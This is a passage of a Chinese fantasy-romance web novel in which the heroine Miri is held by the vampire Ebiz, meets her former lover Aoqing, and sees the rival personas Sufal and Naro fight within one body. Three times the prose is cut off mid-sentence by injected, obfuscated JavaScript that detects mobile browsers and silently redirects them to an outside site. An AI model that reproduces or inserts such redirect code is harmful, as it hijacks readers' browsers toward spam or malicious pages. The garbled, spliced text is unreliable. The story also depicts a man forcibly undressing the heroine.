“是什么?姐姐怎么不说了?” 小苏法尔在咪莉身后解释说:“粽子就是某个东方国家的一种食物,用粽叶包裹着糯米,形状有菱形的,锥子形的,还有用竹筒装的……” 小苏法尔没说完,因为咪莉捂着肚子往后面挪去,靠在墙上低着脸,额发下的脸色好像很难看。 “姐姐,你怎么了?”小钴赫跑到咪莉身边,小苏法尔也跟了过去蹲在一旁,看了看咪莉,情急下低低地喊了一声她的名字,她的表情不太像痛苦,更像是尴尬惊慌。 血族敏锐力异于常人,尤其在血液的判断上,不论是储存放置了一个月的,还是新鲜热乎的,都能靠嗅觉秒分辨。 埃比茨第一个察觉到咪莉的异样,一抹淡淡的血液清香带着芳甜的味道从她身上某个地方散发出来,他已经治愈她脚腕上的伤口,那就是身上还有其他地方受伤。 他眯起细长的暗眸,阴郁的目光仿佛一把刀子在咪莉身上一寸一寸地刮过。 咪莉蹙着眉,面对焦急的小钴赫她不知道怎么解释自己现在的状况,犯窘地拍拍他的小手说自己没事的。 “可你看起来……” “你不许给我说话。” 小苏法尔还没说几个字,就被咪莉瞪着小声喝止,他抿紧了双唇,无邪的圆润眼里满是委屈和低落,还有些可疑的水光在眼眶中闪闪发亮。 小苏法尔认为自己被咪莉针对了,但他并不知道原因,只能憋屈地蹲到一旁看着地上乱翘的杂草丛。 咪莉心里也不好受了,她见不得小孩子委屈巴巴地像个被教训的小狗,而且说到底,小苏法尔也是为了救她才说了那么一大堆话转移埃比茨的目的,自己怎么能因为他根本无法预知的未来而怪罪于一个八岁孩子。 咪莉歉意地伸出手,摸了摸小苏法尔垂下的脑袋,想跟他说什么,埃比茨冰冷的话语插了进来:“你是在流血。” 心情正因为咪莉的揉脑袋而变得欢喜起来的小苏法尔又因埃比茨的话转瞬呆滞,然后一脸忧心地上下看咪莉,想找伤口在何处。 咪莉微怔地看向埃比茨,他隐隐兴奋的目光悠悠落到她的□□:“女人月经?” 咪莉的脸飞快爆红,她抱紧膝盖并着双腿,羞耻又愤怒地咬着牙:“关你什么事!” 自己的窘事被人发现,咪莉简直想找个地缝钻进去。 听到这些,小苏法尔微微松了口气,不是受伤就好,不过书上说女孩子月经期间身体是很虚弱的,他复杂地看着咪莉,不知道该怎么做。 人血对于血族来说,好比美丽的花瓣于蝴蝶,即使距离再远也能循着香味到达。 所以埃比茨身边的两个人再次呼吸不稳,血牙发痒,几欲有露出来的迹象。 小钴赫不合时宜的声音又吱哇地响起:“姐姐,女人月经是什么?” 咪莉本想跟小钴赫正经地解释一遍,埃比茨就已经打开了牢门,把咪莉从地上拽了起来:“再待在这里,恐怕全牢的血族都要被你勾引完了。” “什么勾引?”咪莉甩甩自己被那只冰冷掌心箍住的手腕,“你胡说什么!” 埃比茨这一拽,后面拖了俩,小钴赫抱着咪莉的腿乱哭乱叫,还扬言要他爸爸灭了血族,小苏法尔也闷声不吭但心急如焚地抓着咪莉的衣服紧跟。 结果可想而知,这两只被无情地留在了牢里。 “对了,饿他们两天,脸那么胖,该少吃点。”埃比茨离开时对牢里的狱卒吩咐道,然后又跟身边随从低声说了几句什么其他话,旁人都听不清楚。 咪莉行动不便,不敢太挣扎,只是没想到还没走出天牢就被这个力大无穷的血族给抱到了怀里,他的嘴角噙着一抹刺眼的淡笑,眼里是掩藏不住的凌厉:“还是我抱你走更快些,否则你这一路得吸引多少目光。” 咪莉被他猝不及防的动作吓了一跳,心脏差点破膛而出,她僵着身子待在埃比茨怀里,被带到了一个满是翠绿芬芳的庭院,这里有一座五层高的银色城堡,地基建得有一人高,一条直角石阶通向精美的大门。 埃比茨抱着咪莉进了大门,走向室内的木质旋转楼梯,咪莉抬头看了看,楼梯上的天花板坠着如梦如幻的水晶线条状的灯盏,垂在旋转楼梯中间的空隙里,就像是艺术品一样典雅贵气。 不得不说,血族的审美真的不错。 咪莉被带到一个偌大的卧室中,巨大的落地窗外是整个庭院的景象,有树有花,有养着小鱼的溪水,唯一美中不足的是这里没有阳光,暗沉的天色让这些景物失去些光泽,像蒙着一层缥缈的浓雾。 埃比茨把咪莉身上这身礼服扒了下来,动作丝毫不拖泥带水,咪莉根本没抵挡住,她惊慌失措地捂着自己暴露的身子,一脸快要哭出来的模样。 “你这个流氓!” 他只是皮笑肉不笑地扯了下嘴角,转身朝一张柜台走去,打开抽屉拿出一个箱子。 咪莉用被子裹住自己,看着埃比茨在那里左右走动忙活什么,没过几分钟,他手里拿着一截儿白色的软物和一件类似衣服的黑色东西走了过来,伸手给咪莉:“这里都是血族,女人没有例假,所以没有卫生棉,你先用这个垫一垫,我让杰特去找人准备卫生棉了。” “……什么?”咪莉从羞怒转到怔忡,愣愣地看着埃比茨。 埃比茨忽然不怀好意地一笑:“还是说要我帮你用?” 咪莉脸色顿时变青,一把夺过他手里的东西,双眸燃起熊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14250314|145966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熊烈火,见埃比茨毫无接下来的动作,不由疑惑:“你不避一避?” 埃比茨这才挑着眉背过身去,抱着双臂道:“你不是菲娜吧。” 咪莉正低头展开那件衣服,听到这话心跳刹那漏了一拍,破绽全写在了脸上,但埃比茨背对着她,她庆幸没有被发现自己的异常,强装镇定地说:“你说什么?我听不懂。” 她低头看向那件柔软的黑色衣物,是一条略微宽松的平角裤,那团白色的东西是用几层白色布料打底,包着软软蓬蓬的新棉花,上下两端还穿着两条细细的绳带,形状裁剪的跟卫生棉长度差不多。 她换上的时候还抽空想了想埃比茨这个男人对女性用品的东西倒是了解,而且因为裤子的宽松,无法固定卫生棉的位置,两条绳带系到腰上后完美解决了这个不足。 “被送来的祭品身上会有印记,我刚刚看了,你浑身上下没有一个记号。”埃比茨的声音听不出什么太大波动,只是陈述着一个事实。 咪莉重新用被子裹住自己,明知自己已经暴露,逃不过眼前男人的任何洞察,只是依旧嘴硬道:“反正我就是菲娜。” “咪莉?”他转过来身唤她的名字。 “哎?你怎么知道?”咪莉惊讶无比地瞅着他,发觉自己无法再隐瞒,气恼地抿着唇把身子转到一边。 埃比茨邪气地一笑,眼里的光芒闪着莹光,看起来总算不那么阴暗了:“在牢里苏法尔喊你的时候我听到的。” 咪莉郁闷地鼓起脸,然后看了看床上自己那件被脱下来的礼服问:“有其他衣服吗?” “有。” 埃比茨从衣柜里拿出了他的衬衫和长裤丢到咪莉脑袋上:“还有,不要离开这个房间,否则你会被外面那群虎视眈眈的吸血鬼咬破脖子吸干血。” 咪莉从脑袋上拽下来那两件衣服,惊悚地摸摸自己脖子。 埃比茨继续恐吓她:“因为你把所有人类放跑了,他们对你恨之入骨,都在提议把你抓起来拿去血祭。” 说完后,他清晰地注意到眼前的女孩瞳孔明显一颤,缩起双肩把半边脸埋进被子里,像是被吓到般害怕。 可埃比茨却从她身上体会到一种难以言喻的悲伤。 血祭……奥倾哥哥和她在一起三年的时光,最终目的就是为了血祭她。 “那你呢?”咪莉闷闷的声音从被子里传出,“你为什么把我带到这里?不是说要我承担一切后果吗?” 为什么还要如此细心地照顾她身上的不便? 埃比茨不知何时走到了床边,看着被子里小小的一团,冰冷的内心被融化一般,很是奇怪:“我自有安排,你只要好好待在这里就行了。” 他说完就要离开,咪莉抬起头喊住他,有些困难地道:“我想见见奥倾,可以吗?” 见一见那个人,看看他不认识自己前的真实模样。 她的眼光含有些乞求,就像一只被人遗弃的流浪狗那样可怜兮兮地望着身边人不要让他走,埃比茨被这目光莫名吸引了,问道:“你认识奥倾?见他做什么?” “我……”咪莉挠挠额头,支支吾吾,最后又摇摇头,自言自语般,“算了,不见也好。” 有些事情非要搞个清楚也只会让自己更加疲惫,不如就这样彻底放下吧。 空荡荡的心一阵阵酸涩,咪莉在心底默念着苏法尔的名字,问他怎么还不快来救她。 埃比茨看着神情恍恍惚惚发呆的她,微微皱眉,转身离开,吩咐人严加看守。 40.我对我妻子绝对忠诚 不夜城笼罩在淡淡的死寂氛围中,微风吹散了些浓雾,却无法带走这座死城的森森寒意,翠绿色的松柏直挺坚韧地生长在庭院中,浓郁芬芳的大片花丛装饰着草坪,不仅没有带来大自然的勃勃生机,反而更令这座古老的城堡透露着诡异惊悚。 咪莉穿着那套不属于她的宽大衣服,领口的白珍珠扣子系到最高一颗,袖子挽到手腕处,裤腿卷到脚背上,她抱着膝盖坐在床上,眺望着窗外无边无际的阴天。 过了有半个小时了吗?或许已经有一个小时了吧,苏法尔发现情况不对后,应该会很快来找她的,可是怎么还没出现?是出了什么意外吗? 正当咪莉心情有些混乱时,室内的一道门被打开来,一个人从里面走了出来,是兰伊。 “苏法尔?”咪莉试探地叫了一声他的名字。 “兰伊”轻轻点头:“嗯。” 确定是苏法尔假扮的兰伊后,咪莉顾不上身体的不舒服,下了床朝苏法尔跑去,停到他面前,双眼满是意外,“你怎么会从里面的屋子出来?还有你怎么才来?你超时了!” 苏法尔的笑容有些淡,唇色有些发白,情绪似乎也和来的时候不太一样:“有些事耽搁了,我听说了你被抓的事。” 咪莉气焰立马弱掉,有些不好意思地低下头,像个犯错的孩子,盯着自己的脚尖:“对不起,因为我让计划有变。” “没事,虽然情况有些复杂,但还能解决。”苏法尔看了看她没穿鞋子的脚,和这一身明显是男人的衣服,不由皱眉,“你衣服怎么回事?” “唔。”咪莉抬起头道,“这个是因为我来了例假,抓我的那个血族,就是埃比茨,他给我了个……” 她斟酌了下,不知道用什么语言来描述比较合适:“给了我个他自己临时做的卫生棉,然后我看那套裙子动起来不方便,就让他给我换了一套衣服。” 她看看自己身上的不舍身衣服,也觉得有些难看,但裙子方便就行。 “例假?”苏法尔拧着眉,本觉得在这种环境下,例假来得实在不合时宜,只是看到咪莉有些垂头丧气的模样,便无奈地叹了一声,“你没事就好,我们现在走吧。” 可在他转身那刻,体内一股充满杀气的野蛮力量冲撞到他的胸口,竟使他踉跄了一下。 咪莉被吓到了,连忙伸手扶着他:“苏法尔,你怎么了?” 苏法尔竟然会有如此虚弱的一面,即使是在无尽的沙漠里快要消耗完魔力时也始终让自己保持清醒得没有一丝破绽,可他此刻却无力到差一点就要摔倒。 咪莉不知所措地看着他紧抿成一线的唇,他似是在竭力忍耐什么痛苦。 苏法尔搭着咪莉的手,五指动了动,掌心扣着她的手,握在手里后摇摇头说:“我没事,先离开这里再说。” 咪莉只好顺着他:“我先去穿鞋。” 有人却在这时推门走了进来。 “走去哪儿啊?两位。”埃比茨站在门口,手里端着一套女士的衣服,“这里是血族,想逃可不是那么容易的。”他把手里的衣服随手丢到一个柜台上。 埃比茨走进来的时候,咪莉条件反射地躲在了苏法尔身后,可是一想苏法尔好像受了什么很重的伤,便又走出来瞪着埃比茨。 苏法尔表现得却没有半分危机意识感,脸上的淡笑就像在看一个朋友进来了而已:“公爵大人,您误会了,我家小姐有些不习惯不夜城的风土,我带她出去走走散散心而已。” 咪莉忙跟着点头,努力证明苏法尔的话,但是下一秒她却愣住了。 在埃比茨的身后,又走进来一个人,高大英俊的身形与她记忆里的那个人完全重合。 他穿着一身休闲舒适的贵族公务墨色制服,宽肩长腿,领口露着性感锁骨,肌肤颜色是血族天生的苍白感,皮革的腰带勾勒出紧致腰线,身材比例绝对是血族里的完美级别,穿着黑色皮靴的长腿一迈,便有无形的强势之息压制而来,气场极为强大。 咪莉完全忘了呼吸般,看着他精致到分毫完美的冷峻五官,那双冷邃幽沉的金眸里是一片不达眼底的笑意,当他的视线落在她身上,立刻浑身一僵,脑子里紧绷的弦终于是断了。 他外表和一百年后没什么区别,依旧风度翩翩如画中走出来的王子,只是,他的眼神如此陌生。 苏法尔握紧了手心里这只微微发凉的小手,将她不着痕迹地往自己身后带了带,面带微笑地看着来人。 奥倾笑看着他们:“埃比茨都和我说了,包括你们是假扮的送祭队伍。” 他说完后看向咪莉,因为这个女孩看他的眼神糅杂了多种难以分辨的激烈情绪,叫他心里觉得有些古怪。 只不过她很快低下了头,一层黯然覆在她白皙的脸上。 他重新看向苏法尔,在对方脸上扫了一圈,很明显地表示自己已经看出了易容术的魔法。 苏法尔也没有被拆穿的慌乱:“我们无意冒犯贵宝地,办完了事,我们便自行离开。” 埃比茨冷嘲道:“无意冒犯?你身后的女孩可是给我们带来了巨大的麻烦。” 咪莉一直低着头,一言不发,却忽然听到一道利物穿破空气的声音,她还没反应过来,已经被苏法尔抱着腰消失在原地,出现在了距离她刚才站的地方两米远处。 是埃比茨从手腕幻化出的一支高速的透明冰箭射向了苏法尔。 对方动作太快,冰箭又裹满主人凌厉的魔力,苏法尔虽然惊险躲过,但脸上却划开了一道细细的红痕,易容术瞬间失效,露出他原本那张隽秀的脸。 很显然,埃比茨是冲着他脸上的易容术动手的。 “你有点眼熟。”埃比茨见到苏法尔的脸后肯定道。 苏法尔淡定道:“我是大众脸,有点眼熟很正常。” 咪莉本来还担心苏法尔有什么大碍,听到这句话后立马无语。 谁把这种宛如出自神之手雕刻的俊美五官说成大众脸啊,这人真是一本正经地说着令人嫉妒的话。 奥倾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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外面有人进来在奥倾耳边低声说了几句话,眉心变得微微严肃,他看了苏法尔和咪莉一眼,像是有诸多不明一样,不过他只是说:“既然你不愿意离开,留下也无妨。” 他又对埃比茨道:“安排好他们,然后出来。” 奥倾走后,苏法尔礼貌道:“麻烦把我和我妻子安排在一个房间,她晚上没有我会睡不着觉,谢谢。” 埃比茨看着眼前这一对伉俪情深的金童玉女,对他们缓缓一笑后,转身便变了脸,冷漠无情地吩咐手下道:“南院后殿那个杂物间给这位先生住,这条走廊尽头的那间客房给这位小姐住。” 咪莉闻言后满脸黑线,苏法尔还是面不改色,仿佛天塌了他也能轻松撑起来般泰然,只是在埃比茨走后脸上才稍稍露出心累的神色。 埃比茨的随从把咪莉带到了那间客房,房间里的用品一应俱全,床铺家具都是暖色调的澄黄。 苏法尔跟了过来,对随从说他想和妻子说些话,随从倒是通情达理,退出房门留给他们私人空间。 41.他的眼睛像一本故事书 咪莉看着站在房子中间的苏法尔问:“现在怎么办?” 苏法尔转过身来,无奈地叹了口气:“走一步看一步吧。” 咪莉惊愕:“什么?你没有详细计划吗?” 这可不是你的行事作风啊苏法尔,你不是每次做一个决定前都会用那睿智高超的脑子制定周密计划吗? “你呢?做出如此英勇无畏的事情后没有给自己想过退路吗?”苏法尔静静地反问她。 咪莉顿时蔫吧,低下头抠着手指头:“好吧,我再次为我的行为道歉,对不起。” 但她并不后悔,连累苏法尔就连累了,他又没对自己做好事。 她抬起头:“你可以离开的,就算顾忌我会死掉而影响你的复活计划,你也可以先离开这里再想办法救我。” 她刚刚其实因为苏法尔不丢下她这件事有些感动来着,但感动完就意识到自己是对他还有用处不能死,所以他才不放弃自己。 苏法尔望着她缓缓摇头,默了片刻才道:“我没有怪你,这是你的性格使然,至于离开……” 他顿了顿,漆黑的眼睛里似乎有些迟疑:“你真的希望我离开吗?” 咪莉愣了愣,随即垂下脑袋摇了摇。 她不希望苏法尔走,但也不希望苏法尔把她一直带到身边只是为了那个逆天而行的计划利用着,这真的是很割裂的想法,她弄不明白自己为什么会这样。 苏法尔沉默地看着她低下去的脸,忽然扬起头望向墙壁上的一盏白色灯座烛火,跳跃的火苗忽明忽暗,就像他此刻的心晃动不止,没有归处,飘飘摇摇,不知什么时候就灭了。 “其实留在这里,你感到很开心吧。”他如此说道,语气有些萧索。 咪莉疑惑地看向他,他的侧脸轮廓分明,室内暖黄的光线让他的脸斑驳迷离,就像一本古老的书籍,泛着年代久远的书黄。 咪莉忽然想到牢里见的小苏法尔,那个眼眸清澈的孩子。 苏法尔眨了眨眼:“因为在这里可以见到奥倾,你一直喜欢的人。” 咪莉愣怔了片刻,完全没想到苏法尔说的会是这样的理由,她有种荒谬感在心中滋生。 同时也感觉到些生气。 “我已经不喜欢他了,见到他也没有开心。”咪莉认真地反驳道。 苏法尔看向她,眼睛黑沉沉的:“你们相恋了三年吧,即使是他欺骗了你,感情也不是说消失就会消失的。” 咪莉哑口无言地看着他,他说得好像有些道理,自己对奥倾的感情不是顷刻就能抹消,就像现在想到奥倾时,胸口仍然会钝钝地堵塞,总是无法化开疏散。 她反驳不了,但对苏法尔不凉不热的态度感到一丝无名火气:“我见到他后根本不开心!” 苏法尔走到她面前,看着这张怒火冲冲的小脸说:“可能会有一时的怨恨,怨他骗你,但如果喜欢的话,其实还是存在一些欢喜的心理。” “我说了我不开心!”咪莉还是严肃地反驳他。 他却仍自顾说着,就像过来人那样老成:“咪莉,你还小,在感情方面更是迟钝,等你以后经历多了,就会明白见到喜欢的人时,无论双方关系是相恋还是仇恨,都会感到一丝丝的喜悦,当然,后者情况会很可悲。” 他说着一些咪莉完全听不懂的话,走到床边大大咧咧地瘫在床铺中,精疲力竭地长叹一声:“好累啊。” 从小一直在和体内的纳罗对抗好累,此刻拼尽力气压制突然和他共存的纳罗好累,还有心里苦闷酸涩的,忍不住想挣脱枷锁发狂的,想要丢掉理智杀光所有人的,这些各种无法控制的负面情绪,都让他好累。 咪莉走过去瞪着四仰八叉颓唐地紧闭双眼的苏法尔,几番咬唇下,爬上床抓着他的胳膊使劲儿晃了晃:“你不要自以为是了,我已经明确告诉你我的想法了!” 他把一番胡言乱语说得头头是道般,让人不得不信服,可她又觉得不爽。 苏法尔睁开眼来,幽邃的黑眸像一片无波无浪的深海,如此平静,却令咪莉心绪不宁。 他的眼睛就像一本厚厚的故事书,翻开一页后,是一篇温馨稚趣的梦幻童话,再翻一页,又是截然不同的惊心动魄的跌宕情节,或许里面还有许许多多她没看到的各类故事,她看不完他的眼睛。 咪莉不受控制地沉迷,移不开目光。 但因过于深奥,她看不太懂他眼里的深意。 咪莉忽然感到一些焦躁,要下床,却被一只手强拖了过去,趴在了他坚硬的胸膛上。 “你做什么?”她看着苏法尔近在咫尺的这张脸,他的眼睛形状比纳罗要圆润一些,所以才会总给人一种长不大的孩子气,而纳罗时常半眯着眼,懒懒散散的。 某种黏黏密密像焦糖那样的气息围绕着两人时,苏法尔黑眸倏然一闪,像黑夜褪去般变成了银白,眼中深沉的情绪也在刹那间变成浓烈的占有。 “纳罗?!”咪莉看着这一变化,但他的头发还是黑色,浑身上下只有眼眸变了色。 “咪莉,不要被苏法尔骗走了心,他根本不会把你放在第一位。” 这明显是纳罗的语气。 但他说完后,便猛地推开咪莉,从床上下来站到那里,双拳紧握到手背青筋暴起,眸色在三秒之内变幻数次,黑色,银色,不停交替,像大片雪花急舞在黑夜中。 被推到一旁的咪莉起来后跑到苏法尔面前,他正闭着眼睛,双唇紧紧抿着。 她一个念头冒了出头——纳罗似乎在和苏法尔争夺身体主导权。 “纳罗,是你吗?” 他瞬间睁开眼睛,眸色是苍茫的银色:“咪莉……” 咪莉抓着他的手臂着急问:“你们在做什么?这是怎么一回事?你和苏法尔……” 她不知道该怎么问,总觉得现在的事情过于离奇,一个身体里,怎么会有两个人格同时出现。 他的眼睛时黑时白,就像苏法尔和纳罗交替出现,只是又很快闭上眼睛,捂着脑袋紧皱着眉,鼻翼上冒出密密的细汗,身体像被活生生撕裂般痛不欲生。 灰暗扭曲的空间,弥漫着浓郁血腥,那是一片满目疮痍的战场,一黑一白两道身影在混沌中交锋,刺眼的光球如不要魔力般一拳一拳砸出去,魔法掀起的风声呼啸疾驰,舞动着他们满是鲜血的衣袍。 纳罗的红发更像是浸了血那样夺目,他的眸色深重到几乎已经成了灰色,鼓起的胸膛沉重起伏,血管凸起的强健手臂已经渗出无数鲜血,手里新的一团火光在蓄势待发,像一只浑身燃烧着炙热火焰的野兽准备冲出去撕咬敌人。 他眼中的杀意几乎溢满整个空间:“我不管你那什么破复活计划,你要是敢拿我的身体背叛她,就别怪我真真正正地下死手。” 苏法尔也好不到哪去,半边身子几乎都是血,衣衫碎裂,黑发凌乱,惨白的唇角挂着一道血丝,面对纳罗的威胁,他只是沉默地握着拳,粗重的呼吸从他口中缓缓溢出,忍耐着胸口碎骨般的刺痛。 背叛吗? 可这一切不正是咪莉一直想要的吗? 不待苏法尔擦去唇角的血丝,纳罗便重新攻击,身形快到只剩一抹黑色残影。 门外响起了随从催促的声音,咪莉怕被人看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14267659|145966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏法尔现在这副模样,急得焦头烂额,胡乱地摇着他胳膊:“苏法尔,纳罗,你们有话好好说,别争行吗?我们这是在别人地盘被囚禁呢!” “苏法尔,纳罗想出来你就让他出来一下下不会怎么样,然后你们两个轮流出来嘛!” “纳罗,你们是不是在打架?快别打了,你们的身体嘴角都往外冒血了!” 这样下去还怎么从血族逃走啊! 咪莉恨不得钻进苏法尔的身体里去劝架,但她只能在他跟前干着急。 情急之下,咪莉深吸一口气,抬起手用上平生最大的力气狠狠在苏法尔脸上甩了一巴掌,力道绝对够,因为苏法尔没站稳,“扑通”一声摔在了地板上。 她连忙过去扶着他,小心翼翼地喊:“苏法尔?纳罗?” 他低着脸轻轻喘息了下,抬起头冲咪莉笑了笑:“咪莉。” 看着他银白的眼瞳和已经稳定的情绪,咪莉松了口气,浑身卸了力气般跪坐在地上,垂着双肩:“你总算正常了。” 只是苏法尔呢? 咪莉又重新看向纳罗,他的头发并没有变,还是短至后脑勺的黑发,看着他嘴角仍旧不断溢出的鲜血,不免叹息,把他从地上拉起来:“你先起来,再和我说说你们两个到底发生了什么事。” 纳罗顺着她的动作站了起来,扶着自己受损极大的胸腔部位轻咳了两声:“我和他从塔朗镇时就开始共存了。” 塔朗镇?两天前?咪莉忍着好奇,先把他扶到床边坐着,想去拿毛巾擦擦他嘴角的血渍,但是被他拦着。 “不碍事。”纳罗抓着咪莉的手让她坐下,“这种情况是必然的,我和他谁都不愿意被压制,总是要走到这一步的。” “所以共存就是你们两个现在的情况,共同清醒?”咪莉见他点点头,他嘴角的血珠往下滑了一瞬,便用手背给他擦掉,没有擦干净,继续用手心抹去残留的,再用手指头一点一点擦拭着他嘴角的红。 纳罗平静地凝望她认真的脸,她边擦边抬起眼眸又问:“那现在苏法尔呢?” 纳罗指指自己的心口:“他就在这儿。” “能听得到我们说话?” 他还是点点头。 “我也能和他说话?” 他顿了下,才继续点头。 咪莉抚摸上他的心口,明白这次是苏法尔让了步,语气微柔道:“你们两个,暂时要好好相处啊,不然我们就要困在这里了,至少要等我们出去再决斗是不是?” 纳罗弯了弯鲜艳的唇角,把她那只沾了血的手握住,露出个特别孩子气的笑:“咪莉,还记得你要答应过我一件事吗?” 咪莉疑惑地看着他:“嗯,记得。” 纳罗握着咪莉的手,揉捏着她细嫩的手指,指腹摩过她平滑的指甲,白皙的手背,他的眼睛弯着,像灌满了蜜糖那样甜腻。 咪莉不明所以地眨了眨眼,她的手被摸得痒痒的,想要抽出来,但此刻纳罗说:“答应我,不可以和我分开。” “什么?”咪莉像是听错了一样傻傻地看着纳罗,世界安静到只听得见彼此的呼吸声。 她还以为纳罗会提一些稀奇古怪的要求,比如那些个令人心跳脸红的亲吻。 但他却歪着脸,笑容很淡,语气如同软软糯糯的云朵一样柔和,眼里是纯粹的坚定,她一时心跳如麻。 这仿佛比亲吻更令她情绪异常,惊吓,慌乱,迷茫,还有弄不清的着迷。 他的笑容模糊了她的意识,怔愣到他的双唇落在自己唇瓣上时都没有反应,脑子里像有老旧的唱片机咿咿呀呀响着舒心的音乐。 42.越狱 夜晚,不夜城像是开启了什么魔法灯,燃起一片蓝莹莹的灯海,整座城就像海底世界的精美遗著,这比白日里的鬼城要赏心悦目多了。 咪莉已经换上了埃比茨手下送来的新的卫生棉,还有一套质地柔软的黄碎花裙子和白色休闲鞋,裙摆及膝,学生领口有个小蝴蝶结装饰,看起来很乖巧纯真的搭配。 她用过晚餐,坐在桌边回想着送走纳罗之前的事,脸颊忽然就热了起来。 他的吻没有以前的炙热缠绵,只是一个宛如爱人之间的轻柔触碰,小心又诚挚。 看了看外面清凉的夜色,咪莉认为自己还有许多事情要问苏法尔,比如因为什么事耽搁来晚了,来这里到底取什么东西,还有接下来的计划。 外面并没有看守,但走廊上还有埃比茨的房间,为了不打草惊蛇,咪莉选择从窗户跳出去。 但五层的高度让她两眼一黑。 咪莉按耐下胸口因恐高而激烈的心跳,寻找了一些落脚点从上面依次跳下来,到达地面后蹲在地上左顾右盼一番,并没有人发现她。 她朝南边的高楼跑去,进了大楼后,里面的光线昏暗,就像蒙着一层纱布一样让她看不太清。 一楼是宽阔的大殿,冰凉的白玉地板上反射着窗户外面透进来的月光,咪莉蹑手蹑脚地上了楼梯,在一众房间里找着个杂物间。 这里的房间很少,大多都是空敞的,角落或者中间摆放了一些奇形怪状的木刻雕塑。 上了二楼,咪莉准备顺手先查看楼梯口的一间房,但是看到走廊尽头有道双门上了外锁,直觉里面有她想找的,就跑过去看了看。 她从门框里镶嵌的透明玻璃竖窗往里头张望,里面各种大黑箱子摆放有序,墙壁后面的一道小方窗正好可以射进来一道月色光柱,让这间幽暗荒凉的室内多了一丝朦胧感。 而这道光柱的落点处,正坐着一个男人——苏法尔。 咪莉大囧,埃比茨这混蛋还真让苏法尔住杂物间,门还上锁!犯事的明明是她,被关押的却是苏法尔。 咪莉的良心此刻大爆发,竟然为苏法尔这个一直欺负她的男人感到一丝丝愧疚和心疼。 不过她也不确定现在出现的人格是苏法尔还是纳罗,因为他的头发还是黑色的,脸垂在阴影之中,她看不见他的眼睛。 “纳罗?”咪莉扒着窗子不确定地喊了一声。 听到咪莉的声音,握着两手坐在一只大箱子上的男人微微抬头,眼里诧异:“咪莉?” 看见他的眼睛是夜一般的漆黑,咪莉确定了此刻他是苏法尔。 “你还好吗?”咪莉见苏法尔在这种地方过夜,不免有些心虚,看到他脸上的小伤口还没好,身体里的内伤不知道是不是更严重,又想到什么一样,踮了踮脚往他的方向看,“纳罗呢?” 苏法尔露出个笑来:“我偷袭了他,没个三五天他醒不过来。” 额,你不要把偷袭这种不光明的举动用这么清新脱俗的语气说出来啊。 “那你吃饭了吗?”咪莉倍感无奈。 苏法尔摇摇头:“还没有。” “啊!这些混蛋,竟然都不给饭吃吗!”咪莉气冲冲地跺了下脚,“你等下,我去给你拿点吃的。” 她又跑走了,过了不到五分钟就回来了。 苏法尔看着她手里端着的一盘草莓蛋糕和一盘厚厚的芝士夹心三明治讶异道:“这么快?” 她细瘦的胳膊下还夹了一大瓶玫红色的柚子果汁。 “我用了瞬移。”咪莉把所有东西放到地上,看了看锁,是一种特质锁,一般蛮力打不断,用了几个雷电咒后那黑漆漆的沉锁连道裂痕都没有。 她用了瞬移,说明魔法逐渐恢复,切割的神力再次出现融合迹象。 他已经阻止不了了。 苏法尔走到了门口,见她在那里弯腰捣鼓,长长的黑发撇至耳朵后面,眉头皱得很深。 “打不开吗?” “嗯,这锁太奇怪了。”咪莉垂着头,领口的小蝴蝶结松落了些,漂亮的锁骨因动作一颤一颤,衣领更深处是一个小小的颈窝,还有一条白色的细肩带。 苏法尔的眼底翻滚起一瞬激潮,想起了在帐篷中度过的那两夜,咪莉睡着时会毫无防备地钻进他怀中,嫩白的肌肤上散发着暖暖的少女淡香,她睡得那么安稳,一点也不清楚这样的懵懂态度会有多勾引一个成年男性。 咪莉直起了身,深深吐了口气,然后让苏法尔后退一些。 苏法尔听话地退了两步,疑惑地看着她,然后这道门的玻璃窗被她用一个雷电咒劈碎了,哗啦啦地落了一地玻璃碎片。 “来,吃吧。”咪莉把刚刚放在地上的草莓蛋糕拿起来从窗口递进去,清澈明亮的眼睛一眨不眨地看着他。 “没想到你会这么做。”苏法尔吃惊过后,嘴角挂着一抹好笑,接过来后用勺子挖了一口放到嘴里。 咪莉叹口气:“没办法,锁弄不开,又没有钥匙。” 咪莉又把那一盘装有三个三明治的盘子递进去,她太了解苏法尔的食量了,是她的三倍之多,而且现在他受伤,更要多吃点恢复体力。 苏法尔接过来直接盘腿坐在了地上,咬着一个三明治吃了一口,胸口的受创让他吃得很慢,需要细嚼慢咽才能不那么痛苦。 “你还没说怎么会来找我。”苏法尔看了她一眼,打开果汁喝了一大口。 “哦,来找你是因为……”站着有些不舒服,咪莉索性也坐在了地上,他们隔着一道门板,这个高度看不到彼此,她把想问的问题一一排好,先问第一个,“你出了什么事才会那么晚去找我?” 苏法尔用手背揉了揉眼睛,打了个哈欠。 他打哈欠的声音不小,咪莉一下子就听见了,她伸直了脖子朝他看去:“喂,我问你呢!你不要转移我的注意力。” 苏法尔见她气鼓鼓的模样,眼角蔓延些无奈:“好吧好吧,我告诉你。” 